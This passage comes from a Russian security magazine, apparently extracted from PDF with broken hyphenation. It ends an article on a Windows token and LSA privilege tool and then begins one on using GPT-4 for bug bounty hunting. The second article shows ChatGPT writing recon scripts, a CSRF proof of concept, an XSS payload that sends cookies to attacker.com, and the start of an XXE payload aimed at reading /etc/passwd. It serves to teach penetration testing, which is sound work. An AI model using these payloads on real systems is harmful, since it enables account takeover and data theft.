               std::wcout << L"[+] " << Path << L" Found" << std::endl;
         if (!ValidatePriv(cPrivName)) {

               std::wcout << L"[-] ValidatePathInfo() success" << std::
endl;

            return 1;
       }

        else {
               std::wcout << L"[+] ValidatePathInfo() success" << std::

endl;
            return 0;

       }
        return 0;

   }
    else {

               std::wcout << L"[-] " << Path << L" not found" << std::endl;
        return 1;

   }
    return 1;
}

Про верить путь (то есть убе дить ся, что файл, к которо му поль зователь ука зал
путь, сущес тву ет) удоб нее все го с помощью . Фун кция
работа ет про ще некуда: вер нет , если путь сущес тву ет,  — если
нет.

PathFileExists
TRUE FALSE

Убе див шись в кор рек тнос ти пре дос тавлен ных дан ных, прог рамма перехо- 
дит к :InitMode2()

     DWORD InitMode2(wchar_t* cPath, wchar_t* cPrivName) {
       

      
std::wcout << L"[+] Initializing mode 2 \n [+] Path to exe: " <<

cPath << "\n [+] Privilege: " << cPrivName << std::endl;

   ImpersonateSelf(SecurityImpersonation);
      HANDLE hToken = NULL;
      OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &
hToken);
      DWORD dw = ::GetLastError();
       if (dw != 0) {

             std::wcout << L"[!] Error OpenThreadToken(): " << dw << std::
endl;

        return 1;
   }

         if (EnableTokenPrivilege(hToken, cPrivName, TRUE) == 0) {
           std::wcout << L" [+] EnableTokenPrivilege() success" << std::

endl;
        STARTUPINFO startupInfo;

        ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
        PROCESS_INFORMATION processInformation;

        ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
         startupInfo.cb = sizeof(STARTUPINFO);

   
     

       CreateProcessWithTokenW(hToken, LOGON_WITH_PROFILE, NULL,
cPath, 0, NULL, NULL, &startupInfo, &processInformation);

          DWORD dw = ::GetLastError();
           if (dw != 0) {

    
  
           std::wcout << L"[!] Error CreateProcessWithTokenW(): " <<
dw << std::endl;

            return 1;
       }

        else {
               std::wcout << L"[+] CreateProcessWithTokenW() success" <<

std::endl;
            return 0;

       }

   }
    else {

           std::wcout << L" [-] EnableTokenPrivilege() failed" << std::
endl;

        return 1;
   }

    return 0;
}

Про цесс мож но раз делить на нес коль ко эта пов:
1. При вяз ка текуще го токена про цес са к токену текуще го потока.
2. По луче ние хен дла на этот токен.
3. До бав ление при виле гии в токен.
4. Старт про цес са с изме нен ным токеном.

Итак, пер вые два шага дос таточ но прос тые. Нацепить токен про цес са
на токен текуще го потока мож но с помощью , затем
получа ем хендл на него через . И вновь исполь зует ся
отдель ная фун кция для добав ления при виле гии. Мне нра вит ся подоб ная
модуль ность, потому что мож но взять из одно го про екта фун кцию и прос то
ско пиро вать ее в дру гой.

ImpersonateSelf()
OpenThreadToken()

      
 

DWORD EnableTokenPrivilege(HANDLE hToken, LPTSTR szPriv, BOOL
bEnabled) {
    TOKEN_PRIVILEGES tp;
    LUID luid;
       if (!LookupPrivilegeValue(NULL, szPriv, &luid)) {

    
  

       std::wcout << L"[-] LookupPrivilegeValue() Error: " <<
GetLastError() << std::endl;

        return 1;
   }
     tp.PrivilegeCount = 1;
     tp.Privileges[0].Luid = luid;
         tp.Privileges[0].Attributes = bEnabled ? SE_PRIVILEGE_ENABLED : 0
;
       

   
if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(

TOKEN_PRIVILEGES), NULL, NULL)) {
    

  
       std::wcout << L"[-] AdjustTokenPrivileges() Error: " <<
GetLastError() << std::endl;

        return 1;
   }
    return 0;
}

Сна чала заводим спе циаль ную струк туру, в которую занесем LUID при виле- 
гии. LUID — это некая интер пре тация при виле гии в сис теме, по которой вин- 
да понима ет, что за при виле гия перед ней. Получить LUID мож но с помощью

. Для добав ления при виле гии в токен переда ем
соз данную струк туру в фун кцию . При чем в нее мож- 
но передать сра зу нес коль ко при виле гий. Нап ример, что бы сра зу добавить

 и , но в нашем слу чае это го
не тре бует ся.

LookupPrivilegeValue()
AdjustTokenPrivileges

SeDebugPrivilege SeImpersonatePrivilege

Пос ле чего поток управле ния воз вра щает ся в фун кцию ,
в которой мы вызыва ем фун кцию , поз воля ющую
соз дать про цесс с токеном, куда мы добави ли при виле гии.

InitMode2()
CreateProcessWithToken()

.\Privilegerx64.exe 2 C:\Windows\System32\cmd.exe SeDebugPrivilege 

Ус пешный запуск про цес са с нуж ными при виле гиями

ÓÄÀËßÅÌ ÏÐÈÂÈËÅÃÈÞ ÈÇ ÀÊÊÀÓÍÒÀ

Иног да может пот ребовать ся и обратный сце нарий — нуж но уда лить при- 
виле гию из акка унта. Начало стан дар тное, такое же, как и в пер вом режиме
работы. То есть мы прос то про веря ем имя поль зовате ля и при виле гию
на валид ность. Далее получа ем хендл на полити ку LSA текуще го ком па и дер- 
гаем . Пом нишь эту фун кцию?AddUserPrivilege()

      
  

DWORD AddUserPrivilege(LSA_HANDLE hPolicy, LPWSTR wUsername, LPWSTR
wPrivName, BOOL bEnable)

Пос ледним парамет ром мы можем передать , что при ведет к сра баты- 
ванию сле дующе го усло вия.

FALSE

 else {
         

 
ULONG lErr = LsaRemoveAccountRights(hPolicy, UserSid, FALSE,

lsastrPrivs, 1);
       if (lErr == ERROR_SUCCESS) {

       
 
       std::wcout << L" [-] Removing " << wPrivName << L" Success" <
< std::endl;

           std::wcout << L" [+] Enumerating Current Privs" << std::endl;
        PrintTrusteePrivs(hPolicy, UserSid);

         VirtualFree(UserSid, 0, MEM_RELEASE);
        return 0;

   }
    else {

        wprintf(L" [-] Error LsaRemoveAccountRights() %d", lErr);
        return 1;

       }
   }

Как следс твие, при виле гия будет сня та с ука зан ного акка унта с помощью
вызова фун кции . Потом мы дер гаем 

, что поз воля ет вывес ти новый спи сок при виле гий поль- 
зовате ля.

LsaRemoveAccountRights Print-
TrusteePrivs()

.\Privilegerx64.exe 3 Michael SeDebugPrivilege 

ÈÙÅÌ ÎÁÚÅÊÒÛ Ñ ÏÐÈÂÈËÅÃÈÅÉ

В этом слу чае инс тру мен ту нуж но передать имя при виле гии, которую мы
ищем, а так же имя компь юте ра, на котором мы ее ищем. Нап ример, если нам
нуж но обна ружить все учет ные записи, обла дающие при виле гией 

, на компь юте ре , то запуск выпол няет ся сле дующей коман- 
дой:

SeDebug-
Privilege WINPC

   .\Privilegerx64.exe 4 WINPC SeDebugPrivilege

При запус ке это го режима я решил не про верять имя компь юте ра, так как,
если ука зать невалид ное имя, сло мает ся фун кция  — вер- 
нет код ошиб ки 1722.

LsaOpenPolicy()

Все умес тилось в одну малень кую акку рат ную фун кцию:

     DWORD InitMode4(wchar_t* cCompName, wchar_t* cPrivName) {
        LSA_OBJECT_ATTRIBUTES lsaOA = { 0 };
        LSA_UNICODE_STRING lsastrComputer = { 0 };
      LSA_HANDLE hPolicy = NULL;
     lsaOA.Length = sizeof(lsaOA);
       lsastrComputer.Length = (USHORT)(lstrlen(cCompName) * sizeof(
WCHAR));
       lsastrComputer.MaximumLength = lsastrComputer.Length + sizeof(
WCHAR);
     lsastrComputer.Buffer = (PWSTR)cCompName;
        

   
NTSTATUS ntStatus = LsaOpenPolicy(&lsastrComputer, &lsaOA,

POLICY_VIEW_LOCAL_INFORMATION | POLICY_LOOKUP_NAMES, &hPolicy);
      ULONG lErr = LsaNtStatusToWinError(ntStatus);
       if (lErr != ERROR_SUCCESS) {

           if (lErr == 1722) {
      
  

           std::wcout << L"[-] LsaOpenPolicy() failed: " << lErr <<
" | Is computer alive?" << std::endl;

            return 1;
       }

             std::wcout << L"[-] LsaOpenPolicy() failed: " << lErr << std:
:endl;

        return 1;
   }

        LSA_UNICODE_STRING privilege = { 0 };
        LSA_ENUMERATION_INFORMATION* array = { 0 };
    ULONG count;
    WCHAR accountName[256];
    WCHAR domainName[256];
    SID_NAME_USE snu;
        DWORD domainLength = sizeof(domainName) / sizeof(WCHAR);
        DWORD accountLength = sizeof(accountName) / sizeof(WCHAR);
      BOOL fSuccess = FALSE;
      LPTSTR StringSid = NULL;
       privilege.Length = (USHORT)(lstrlen(cPrivName) * sizeof(WCHAR));
       privilege.MaximumLength = privilege.Length + sizeof(WCHAR);
     privilege.Buffer = cPrivName;
    __try {

   
   
       NTSTATUS ntstatus = LsaEnumerateAccountsWithUserRight(hPolicy
, &privilege, (void**)&array, &count);

          ULONG lErr = LsaNtStatusToWinError(ntstatus);
           if (lErr != ERROR_SUCCESS) {

             array = NULL;
               if (lErr == 259) {

                   std::wcout << L" [-] No objects" << std::endl;
           }

            else {
  

    
               std::wcout << L" [-] 
LsaEnumerateAccountsWithUserRight() failed: " << lErr << std::endl;
           }
           __leave;
       }

           std::wcout << L"[+] Objects with privileges: " << std::endl;
                for (ULONG i = 0; i < count; i++) {

            ConvertSidToStringSid(array[i].Sid, &StringSid);
   

   
           LookupAccountSid(NULL, array[i].Sid, accountName, &
accountLength, domainName, &domainLength, &snu);

             switch (snu) {
            case SidTypeUser:

               printf(" [!] User: ");
                  wprintf(L"%s\\%s %s \n", domainName, accountName,

StringSid);
               break;

            case SidTypeGroup:
            case SidTypeWellKnownGroup:

               printf(" [!] Group: ");
                  wprintf(L"%s\\%s %s\n", domainName, accountName,

StringSid);
               break;

            case SidTypeAlias:
               printf(" [!] Alias SID (may be local group): \t");

                  wprintf(L"%s\\%s %s\n", domainName, accountName,
StringSid);
               break;
           default:
               printf(" [!] Idk what is it: ");

                  wprintf(L"%s\\%s %s\n", domainName, accountName,
StringSid);
               break;
           }
       }

         fSuccess = TRUE;
   }
    __finally {
       LsaFreeMemory(array);
   }

    return 0;
}

Сна чала мы пыта емся получить хендл полити ки LSA на компь юте ре, имя
которо го было переда но. Здесь все стан дар тно — . Пос ле
чего соз даем спе циаль ные струк туры для переда чи их в фун кцию 

. Резуль татом выпол нения фун кции ста нет
мас сив объ ектов, обла дающих нуж ной при виле гией. При чем опять же
для переда чи при виле гии мы исполь зуем . Получив мас- 
сив объ ектов, начина ем его пар сить. Он будет содер жать струк туру 

, внут ри которой лежит лишь SID:

LsaOpenPolicy()
LsaEnumer-

ateAccountsWithUserRight()

LSA_UNICODE_STRING
LSA_ENU-

MERATION_INFORMATION

   typedef struct _LSA_ENUMERATION_INFORMATION {
  PSID Sid;
  } LSA_ENUMERATION_INFORMATION, *PLSA_ENUMERATION_INFORMATION;

По это му кон верти руем в стан дар тное имя поль зовате ля через уже извес тную
нам фун кцию , а затем переда ем в фун кцию

 для получе ния име ни поль зовате ля по его SID. Пос- 
ледним парамет ром ука зыва ется перечис ляемый тип , с его
помощью мы смо жем опре делить тип объ екта. Чаще все го это будет 

 (обыч ный поль зователь), но мало ли что... В свя зи с этим я добавил
так же неболь шие помет ки, мол, тут — поль зователь, а тут — груп па.

ConvertSidToStringSid()
LookupAccountSid()

SID_NAME_USE
Sid-

TypeUser

ÑÌÎÒÐÈÌ ÏÐÈÂÈËÅÃÈÈ ÎÁÚÅÊÒÀ

Рас смот рим пос ледний, пятый режим работы. Он поз воля ет находить при- 
виле гии, которы ми обла дает опре делен ная учет ная запись на компь юте ре.
Начало тут не самое обыч ное:

 case '5':
  

  
       std::wcout << L"[!] I'm not able to validate username and PC 
name. Make sure you enter the correct data." << std::endl;
       Sleep(500);

           std::wcout << L"[!] Starting" << std::endl;
            if (InitMode5(argv[2], argv[3]) != 0) {

               std::wcout << L"[-] InitMode 5 Error" << std::endl;
       }
   break;

Не исполь зуя никакие вспо мога тель ные RPC-фун кции, мы не смо жем про- 
вали диро вать имя поль зовате ля и компь юте ра. Поэто му выделя ем самим
себе 500 мс, что бы убе дить ся глаз ками, что все в поряд ке. Ну и опять же —
мень ше тра фика, лиш него шума. Сама основная фун кция так же дос таточ но
прос та:

     DWORD InitMode5(wchar_t* cCompName, wchar_t* cUsername) {
    LSA_HANDLE hPolicy;
        LSA_OBJECT_ATTRIBUTES lsaOA = { 0 };
        LSA_UNICODE_STRING lsastrComputer = { 0 };
     lsaOA.Length = sizeof(lsaOA);
       lsastrComputer.Length = (USHORT)(lstrlen(cCompName) * sizeof(
WCHAR));
       lsastrComputer.MaximumLength = lsastrComputer.Length + sizeof(
WCHAR);
     lsastrComputer.Buffer = (PWSTR)cCompName;
        

   
NTSTATUS ntStatus = LsaOpenPolicy(&lsastrComputer, &lsaOA,

POLICY_VIEW_LOCAL_INFORMATION | POLICY_LOOKUP_NAMES, &hPolicy);
      ULONG lErr = LsaNtStatusToWinError(ntStatus);
       if (lErr != ERROR_SUCCESS) {

           if (lErr == 1722) {
      
  

           std::wcout << L"[-] LsaOpenPolicy() failed: " << lErr <<
" | Is computer alive?" << std::endl;

            return 1;
       }

             std::wcout << L"[-] LsaOpenPolicy() failed: " << lErr << std:
:endl;

        return 1;
   }

    PSID UserSid;
      DWORD sid_size = 0;
      LPTSTR wSidStr = NULL;
      DWORD domain_size = 0;
    SID_NAME_USE sid_use;
         

  
if (!LookupAccountName(NULL, cUsername, NULL, &sid_size, NULL, &

domain_size, &sid_use)) {
      

 
       UserSid = (PSID)VirtualAlloc(NULL, sid_size, MEM_RESERVE |
MEM_COMMIT, PAGE_READWRITE);

          LPTSTR domain = NULL;
     

    
       domain = (LPTSTR)VirtualAlloc(NULL, domain_size * sizeof(
WCHAR), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);

    
  
       LookupAccountName(NULL, cUsername, UserSid, &sid_size, domain
, &domain_size, &sid_use);

         VirtualFree(domain, 0, MEM_RELEASE);
        ConvertSidToStringSid(UserSid, &wSidStr);

             std::wcout << L" [+] User SID: " << wSidStr << std::endl;
        PrintTrusteePrivs(hPolicy, UserSid);

         VirtualFree(UserSid, 0, MEM_RELEASE);
        return 0;

     } else {
    

  
       std::wcout << L" [-] LookupAccountName() Error: " <<
GetLastError() << std::endl;

        return 1;
   }

    return 1;
}

Все кру тит ся вок руг уже соз данной фун кции . Нам
оста ется лишь получить хендл полити ки LSA на компь юте ре, а затем дер нуть

 для получе ния SID, который мы отда дим в фун кцию
для вывода сущес тву ющих при виле гий у акка унта. Кру то, да?

PrintTrusteePrivs()

LookupAccountName()

ÂÛÂÎÄÛ

При виле гии в Windows дей стви тель но очень боль шая и инте рес ная тема.
При чем мож но без проб лем рас ширять Privileger, совер шенс тво вать
и исправ лять мой божес твен ный, супер чистый и велико леп ный код.

В любом слу чае, если у тебя вдруг оста лись воп росы либо при исполь- 
зовании инс тру мен та появи лись какие-то ошиб ки, пиши, все переде лаю,
исправ лю, помогу, под ска жу! © X

https://learn.microsoft.com/en-us/windows/win32/api/shlwapi/nf-shlwapi-pathfileexistsa
https://learn.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-impersonateself
https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openthreadtoken
https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-lookupprivilegevaluea
https://learn.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-adjusttokenprivileges
https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createprocesswithtokenw
https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsaremoveaccountrights
https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsaenumerateaccountswithuserright
https://learn.microsoft.com/en-us/windows/win32/api/winnt/ne-winnt-sid_name_use


ПРИМЕНЯЕМ GPT-4
НА БАГБАУНТИ

W0lFreaK
Независимый исследователь

веба https://t.me/pain_test
wolfreak449@gmail.com

ВЗЛОМ

Учас тие в bug bounty — вещь неверо ятно
увле катель ная, но по боль шей час ти сос- 
тоящая из рутины. Про верить то, переб рать
это... Логич но наг рузить такие тас ки
на компь ютер, но скрип ты тоже все вре мя
при ходит ся писать и перепи сывать. Боль- 
шие язы ковые модели, по которым все сей- 
час так схо дят с ума, могут сос лужить здесь
важ ную служ бу. Я решил самос тоятель но
убе дить ся, какую имен но, и, воору жив шись
GPT-4, отпра вил ся на охо ту за багами.

В статье я исполь зую ChatGPT с моделью GPT-4. Сей час дос туп к ней пре- 
дос тавля ется по плат ной под писке сто имостью 20 дол ларов в месяц.

ÐÀÇÂÅÄÊÀ

Ïîèñê ïîääîìåíîâ
По иск скры тых стра ниц и под доменов — одна из рутин ных опе раций при раз- 
ведке. Может ли нам в этом помочь ChatGPT? Я поп росил его сге нери ровать
скрипт для поис ка под доменов по наибо лее популяр ным источни кам.

Çàï ðîñ
Соз дай для меня скрипт для сбо ра как мож но боль шего количес тва под- 
доменов целево го сай та нес коль кими раз личны ми спо соба ми и ути лита ми,
в иссле дова тель ских и этич ных целях.

Îò âåò

 import requests
 import json
 import argparse

   from bs4 import BeautifulSoup

# Устанавливаем аргументы командной строки
  target_domain = 'https://target.com/'

# Используем сервис crt.sh для поиска поддоменов с помощью 
сертификатов SSL

 def crtsh_search(domain):
      url = f"https://crt.sh/?q=%25.{domain}&output=json"
      response = requests.get(url)
      data = json.loads(response.content)
      subdomains = set()

       for item in data:
        subdomains.add(item["name_value"])

     return subdomains

(...)

   if name == "main":
    main()

От вет при веден в сок ращен ном виде. Вот что дела ет этот скрипт:
1. Вы пол няет зап рос к  для получе ния спис ка SSL/TLS-сер тифика тов,

в которых упо мина ется имя ука зан ного домена.
crt.sh

2. Про веря ет домен по базам инди като ров ком про мета ции
( ).ThreatCrowd.org

3. За пус кает брут форс под доменов по соз данно му самой ней росетью спис- 
ку ( , ,  и дру гие).www mail ftp

4. С помощью Google dorks ищет упо мина ния ука зан ного адре са, затем
обра баты вает резуль тат и получа ет спи сок всех най ден ных под доменов.

При тес тирова нии с помощью это го скрип та я обна ружил восемь новых
доменов, которые не попались мне рань ше при исполь зовании дру гих
популяр ных инс тру мен тов.

По мучив ней рон ку еще нес коль кими зап росами, мож но про качать этот
скрипт для сбо ра информа ции из огромно го количес тва еще более нет риви- 
аль ных источни ков.

Òåõíîëîãèè è âåðñèè
GPT-4 поможет опре делить, какое прог рам мное обес печение исполь зует ся
на сай те. Вот нес коль ко спо собов, как это сде лать.
1. Под сказ ки по исполь зуемым тех нологи ям: GPT-4 может пре дос тавить

под сказ ки, методы и готовые зап росы, что бы опре делить тех нологии и их
вер сии.

2. Со веты по поис ку фай лов и дирек торий: ней рон ка пред ложит име на фай- 
лов и дирек торий, которые обыч но свя заны с опре делен ными тех нологи- 
ями. Нап ример, файл  или  может содер жать
информа цию об исполь зуемом прог рам мном обес печении и его вер сии,
а стра ницы ,  выдадут нам исполь зование WordPress.

robots.txt sitemap.xml

wp-admin wp-json

3. Пред ложение скрип тов и инс тру мен тов: GPT-4 соз даст скрип ты и пореко- 
мен дует инс тру мен ты, которые спо соб ны опре делить тех нологии и их вер- 
сии на веб-сер вере.

Мож но поп росить ChatGPT не прос то опре делить исполь зуемый софт, а соз- 
дать под ходящие скрип ты. Нап ример, ниже при веден скрипт, который ChatG-
PT соз дал для детек тирова ния опре делен ного набора JS-биб лиотек, исполь- 
зуемых на сай те. Давай поп робу ем!

Çàï ðîñ
Соз дай JS-скрипт для опре деле ния исполь зуемых на сай те JS-биб лиотек.

Îò âåò

 (function() {
     const libraries = [
         { name: "jQuery", object: "jQuery" },
         { name: "React", object: "React" },
         { name: "AngularJS", object: "angular" },
         { name: "Vue", object: "Vue" },
    // Добавь другие библиотеки здесь, если необходимо
  ];

(...)

      } else {
        results.forEach((lib) => {

        console.log(`${lib.name}: ${lib.version}`);
      });
    }
  }

     const detectedLibraries = detectLibraries();
  displayResults(detectedLibraries);
})();

Как показа ла прак тика, такой под ход помога ет выявить боль ше исполь зуемых
в дан ный момент биб лиотек, чем зна ют пуб личные сер висы вро де .
Так же он поз воля ет получить све дения о тех нологи ях любой стра ницы сай та,
а не толь ко дос тупных без авто риза ции. Фун кци ональ ность и перечень детек- 
тиру емых сге нери рован ным скрип том биб лиотек не дотяги вает до всем
извес тно го , одна ко по нашему зап росу ней рон ка может модифи- 
циро вать скрипт и интегри ровать в него воз можность опре деле ния пуб- 
личных уяз вимос тей в выяв ленных биб лиоте ках с помощью  или Mitre.

BuiltWith

Wappalyzer

Vulners
Мож но исполь зовать ней росеть и прос то для соз дания дор ков, что бы

эффектив нее искать информа цию о целевых сис темах.

Çàï ðîñ
На пиши зап рос с исполь зовани ем Google dorks для опре деле ния веб-сай тов,
исполь зующих CMS Bitrix.

Îò âåò

inurl:/bitrix/ intitle:bitrix filetype:php intitle:"Bitrix" "bitrix_
sessid" 

Ес ли ввес ти такой зап рос в Google, то это поз волит получить стра ницы:
inurl: Bitrix — в URL которых содер жится  (харак терный приз нак
сай тов, работа ющих на «Бит рикс»);

• /bitrix/

intitle: Bitrix — в заголов ках которых встре чает ся сло во Bitrix;•
bitrix_sessid — на которых исполь зует ся дан ный параметр, сви детель ству- 
ющий об исполь зовании «Бит рикс»;

•

letype: php — слу жит для исклю чения веб-сай тов, написан ных на нетипич- 
ных для «Бит рикс» язы ках прог рамми рова ния, но под ходящих под про чие
парамет ры зап роса.

•

ÏÎÈÑÊ ÌÈÑÊÎÍÔÈÃÎÂ

Еще один вари ант исполь зования ChatGPT — ана лиз кор рек тнос ти воз вра- 
щаемых сер вером заголов ков безопас ности. Ты можешь пре дос тавить
заголов ки отве та сер вера, и ChatGPT про ана лизи рует их, выявив отсутс тву- 
ющие или некор рек тные заголов ки, которые могут озна чать наличие уяз- 
вимос тей (нап ример, мис конфи гура ции CORS и CSP).

Çàï ðîñ
Веб-сер вер в ответ на мой зап рос вер нул сле дующие заголов ки. Под ска жи,
безопас на ли дан ная кон фигура ция? Какие заголов ки отсутс тву ют или нас- 
тро ены небезо пас но?

HTTP/2 200 OK 
Server: nginx 
Date: Sat, 08 Apr 2023 18:49:17 GMT 

Îò âåò
Кон фигура ция заголов ков, пре дос тавлен ная сер вером, вклю чает в себя ряд
мер по обес печению безопас ности, но некото рые важ ные заголов ки отсутс- 
тву ют. Вот крат кий ана лиз пре дос тавлен ных заголов ков:

X-Xss-Protection: 1; mode=block — заголо вок X-XSS-Protection пре дот вра- 
щает отра жен ные меж сай товые скрип ты (XSS). Зна чение «1; mode=block»
ука зыва ет бра узе ру бло киро вать ответ, если обна руже на XSS.

X-Frame-Options: SAMEORIGIN — заголо вок X-Frame-Options пре дот вра- 
щает клик дже кинг путем огра ниче ния встра ива ния кон тента сай та на дру гие
сай ты. Зна чение SAMEORIGIN ука зыва ет, что сайт может быть встро ен толь ко
на стра ницы с того же источни ка.

Content-Security-Policy (CSP) — заголо вок CSP поз воля ет ука зать источни- 
ки кон тента для раз личных типов ресур сов, что огра ничи вает воз можнос ти
для XSS и дру гих атак. Нап ример, Content-Security-Policy: default-src 'self'; img-
src *; media-src media1.com media2.com; script-src userscripts.example.com.

Strict-Transport-Security (HSTS) — заголо вок HSTS ука зыва ет бра узе ру
исполь зовать толь ко HTTPS-соеди нения для обще ния с сай том на опре- 
делен ный пери од. Это помога ет пре дот вра тить ата ки man in the middle и улуч- 
шает безопас ность сай та. Нап ример, Strict-Transport-Security: max-
age=31536000; includeSubDomains.

X-Content-Type-Options — заголо вок X-Content-Type-Options пре дот вра- 
щает ата ки на осно ве MIME-типа путем зап рета бра узе ру интер пре тиро вать
докумен ты с неп равиль ным типом.

Мож но отме тить, что отсутс твие допол нитель ных заголов ков безопас- 
ности, таких как Content-Security-Policy, X-Content-Type-Options, X-XSS-Protec-
tion, X-Frame-Options, может озна чать отсутс твие допол нитель ной защиты
от некото рых типов атак, таких как ата ки XSS, клик дже кинг, MIME-Sniffing
и дру гие.

Так же наличие допол нитель ных заголов ков безопас ности, таких как Strict-
Transport-Security, может ука зывать на то, что при ложе ние исполь зует
защищен ное соеди нение и перенап равля ет все HTTP-зап росы на HTTPS.
Одна ко в дан ном слу чае таких заголов ков нет, и это может озна чать, что при- 
ложе ние не защище но от атак перех вата тра фика (man in the middle).

Об ращение к ней рон ке за помощью с заголов ками поз воля ет очень быс тро
под све тить мис конфи ги и пред положить потен циаль ные век торы ата ки.

Из плю сов: она может пред положить нап равле ния ата ки на при ложе ние
и под ска зать кон крет ные вари анты обхо да текущих огра ниче ний, в час тнос ти
это будет полез но для обхо да CSP.

ÝÊÑÏËÓÀÒÀÖÈß

CSRF
CSRF (cross-site request forgery) — уяз вимость, при которой зло умыш ленник
может зас тавить поль зовате ля выпол нить нежела тель ные дей ствия на сай те,
где поль зователь аутен тифици рован. Для это го соз дает ся вре донос ный зап- 
рос, исполне ние которо го при водит к совер шению дей ствия от име ни поль- 
зовате ля без его ведома.

Ес ли про ще, зло умыш ленник соз дает на сво ем сай те скрипт, который
выпол няет зап рос на адрес вро де такого:

www.victim_bank.com/transfer_all_money?toAccount=1337 

Ког да жер тва посетит стра ницу с этим скрип том, он выпол нится в бра узе ре,
возь мет куки и выпол нит зап рос на ука зан ный адрес. В резуль тате ата ки все
день ги со сче та жер твы будут переве дены на ука зан ный акка унт.

Çàï ðîñ
У меня есть HTTP-зап рос, сге нери руй CSRF PoC для него.

POST http://victim_bank.com/transfer_all_money HTTP/1.1 
Host: victim_bank.com 
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (
KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537 
x-browser: Chrome 
Referer: victim_bank.com 
Connection: close 
Content-Type: application/x-www-form-urlencoded 
Content-Length: 14 

toAccount=1337 

Îò âåò
POC-code для пре дос тавлен ного зап роса:

   <html>
  <head>
    <title>CSRF PoC</title>
  </head>
<body>
 <h1>CSRF PoC</h1>
   

 
<form action="http://victim_bank.com/transfer_all_money" method=
"POST" id="csrf-form">
     <input type="hidden" name="toAccount" value="1337">
 </form>
 <script>
  // Submit the form as soon as the page loads
    document.addEventListener("DOMContentLoaded", function() {
  document.getElementById("csrf-form").submit();
  });
 </script>
</body>
</html>

Да вай подума ем, как ChatGPT может быть здесь нам полезен. Я вижу такие
вари анты:
1. Соз дание proof of concept (PoC) для демонс тра ции CSRF-уяз вимос ти: ты

можешь пре дос тавить информа цию о зап росе или фор ме, и ChatGPT соз- 
даст HTML-стра ницу или код на JavaScript, который будет генери ровать
под дель ный зап рос, ими тиру ющий дей ствие поль зовате ля.

2. Объ ясне ние и пред ложение решений: ChatGPT может пре дос тавить
деталь ное объ ясне ние того, как работа ет CSRF-уяз вимость, и пред ложить
спо собы обна руже ния и пре дот вра щения таких уяз вимос тей на сер вере.
Это может вклю чать рекомен дации по исполь зованию CSRF-токенов, про- 
вер ке HTTP-заголов ков и дру гим методам защиты.

3. По мощь в иден тифика ции потен циаль ных уяз вимых мест: ИИ най дет учас- 
тки кода или фун кции веб-при ложе ния, которые могут быть уяз вимыми
перед CSRF-ата ками, а так же ука жет на методы тес тирова ния и обна руже- 
ния таких уяз вимос тей.

XSS
XSS (cross-site scripting) — уяз вимость, поз воля ющая зло умыш ленни ку внед- 
рить вре донос ный код (обыч но JavaScript) на веб-стра ницу, которую прос- 
матри вают дру гие поль зовате ли. Так зло умыш ленник может получить дос туп
к кон фиден циаль ной информа ции, нап ример куки, или выпол нить про изволь- 
ные дей ствия от име ни поль зовате ля без его ведома.

Воз можные вари анты при мене ния ChatGPT:
1. Соз дание PoC для демонс тра ции XSS-уяз вимос ти. Ты можешь пре дос- 

тавить информа цию о мес те, где обна руже на уяз вимость, и ChatGPT соз- 
даст при мер вре донос ного кода на JavaScript, который будет ее экс плу- 
ати ровать.

2. Соз дание вре донос ной наг рузки, реали зующей заложен ный алго ритм
для получе ния тре буемо го импакта от экс плу ата ции уяз вимос ти.

Нап ример, нам нуж но, что бы в резуль тате экс плу ата ции уяз вимос ти
и исполне ния нашей наг рузки куки поль зовате ля отправ лялись на под кон- 
троль ный нам сер вер. ChatGPT с радостью сге нери рует нам такую наг рузку.

Çàï ðîñ
У меня есть Reected XSS по такому адре су:

server.com/?...original_path=javascript%3aalert(1)%2f%2frb0iabdd 

Сде лай так, что бы резуль татом ее экс плу ата ции была отправ ка cookie
посети теля на адрес .attacker.com

Îò âåò
В качес тве зна чения парамет ра original_path под ставь те сле дующую фун- 
кцию:

  javascript: (function() {
      var xhr = new XMLHttpRequest();
     

 
xhr.open('GET', 'https://attacker.com/collect?cookie=' +

encodeURIComponent(document.cookie), true);
  xhr.send();
})();

XXE
XXE (XML external entity) — это уяз вимость, которая воз ника ет при обра бот ке
докумен тов XML с под клю чен ными внеш ними ресур сами. Если сер вер неп- 
равиль но обра баты вает такие сущ ности (entities), зло умыш ленник может
исполь зовать XXE-уяз вимос ти для чте ния локаль ных фай лов, ска ниро вания
внут ренних сис тем, выпол нения зап росов к внут ренним сер висам или про- 
веде ния DoS-атак.

Ней росеть поможет с XXE сле дующим обра зом:
1. ChatGPT может сос тавить наг рузки для экс плу ата ции XXE, соз давая раз- 

ные вари анты XML-докумен тов и DTD-фай лов. Нам же оста нет ся толь ко
про тес тировать их на механиз мах защиты уяз вимого.

2. ИИ может под робно рас ска зать, как работа ет XXE-уяз вимость, и пред- 
ложить спо собы обна руже ния и пре дот вра щения таких уяз вимос тей
на сер вере.

При веду при мер.

Çàï ðîñ
У меня есть сле дующая струк тура фай ла:

<?xml version="1.0" encoding="UTF-8"?>
<users>
    <user>
        <username>aaaaaaaaaaaaaa</username>
        <email>bbbbbbbbbbbbbbb</email>
    </user>
</users>

Я знаю, что здесь есть XXE-уяз вимость. Одна ко для экс плу ата ции мне необ- 
ходимо под клю чить DTD-файл, рас положен ный на моем сер вере. Сге нери руй
наг рузку и DTD-файл, поз воля ющий выпол нить чте ние локаль ного фай ла
/etc/passwd.

Îò âåò
Для экс плу ата ции XXE-уяз вимос ти и под клю чения внеш него DTD-фай ла
с вашего сер вера вы можете исполь зовать сле дующую наг рузку:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE users SYSTEM "http://your-server-url/your-dtd-file.dtd">
<users>
    <user>
        <username>aaaaaaaaaaaaaa</username>
